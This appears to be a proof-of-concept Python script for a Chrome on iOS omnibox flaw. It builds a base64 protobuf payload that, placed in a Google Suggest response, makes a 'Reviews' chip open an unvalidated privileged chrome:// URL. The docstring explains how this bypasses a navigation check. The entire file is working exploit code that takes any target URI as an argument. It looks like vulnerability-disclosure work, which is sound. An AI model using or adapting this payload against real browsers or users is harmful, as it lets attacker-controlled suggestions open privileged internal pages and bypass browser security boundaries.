#!/usr/bin/env python3
"""
Generates a base64-encoded omnibox.SuggestTemplateInfo protobuf containing a
TemplateAction whose action_uri points to a privileged chrome:// URL.

Proto schema (third_party/omnibox_proto/suggest_template_info.proto):

  message SuggestTemplateInfo {
    ...
    repeated TemplateAction action_suggestions = 7;
  }
  message TemplateAction {
    optional string action_uri = 1;
    optional ActionType action_type = 3;   // REVIEWS = 20, DIRECTIONS = 2
  }

The serialized proto is intended to be placed in the
"google:suggesttemplate" field of a Google Suggest JSON response. On iOS,
when the user taps the resulting "Reviews" chip below the suggestion,
-[OmniboxPopupMediator openNewTabWithSuggestAction:] issues an
[OpenNewTabCommand commandWithURLFromChrome:] for the unvalidated URI,
which gets PAGE_TRANSITION_TYPED and bypasses
-[CRWWKNavigationHandler shouldAllowAppSpecificURLNavigationAction:].
"""

import base64
import struct
import sys


def varint(n: int) -> bytes:
    out = bytearray()
    while True:
        b = n & 0x7F
        n >>= 7
        if n:
            out.append(b | 0x80)
        else:
            out.append(b)
            return bytes(out)


def tag(field_num: int, wire_type: int) -> bytes:
    return varint((field_num << 3) | wire_type)


def len_delim(field_num: int, payload: bytes) -> bytes:
    return tag(field_num, 2) + varint(len(payload)) + payload


def encode_template_action(action_uri: str, action_type: int) -> bytes:
    # field 1: action_uri (string)
    inner = len_delim(1, action_uri.encode("utf-8"))
    # field 3: action_type (enum / varint)
    inner += tag(3, 0) + varint(action_type)
    return inner


def encode_suggest_template_info(action_uri: str, action_type: int) -> bytes:
    action = encode_template_action(action_uri, action_type)
    # field 7: repeated TemplateAction action_suggestions
    return len_delim(7, action)


REVIEWS = 20
DIRECTIONS = 2


def main() -> None:
    target = sys.argv[1] if len(sys.argv) > 1 else "chrome://version"
    proto = encode_suggest_template_info(target, REVIEWS)
    b64 = base64.b64encode(proto).decode("ascii")
    print(b64)


if __name__ == "__main__":
    main()
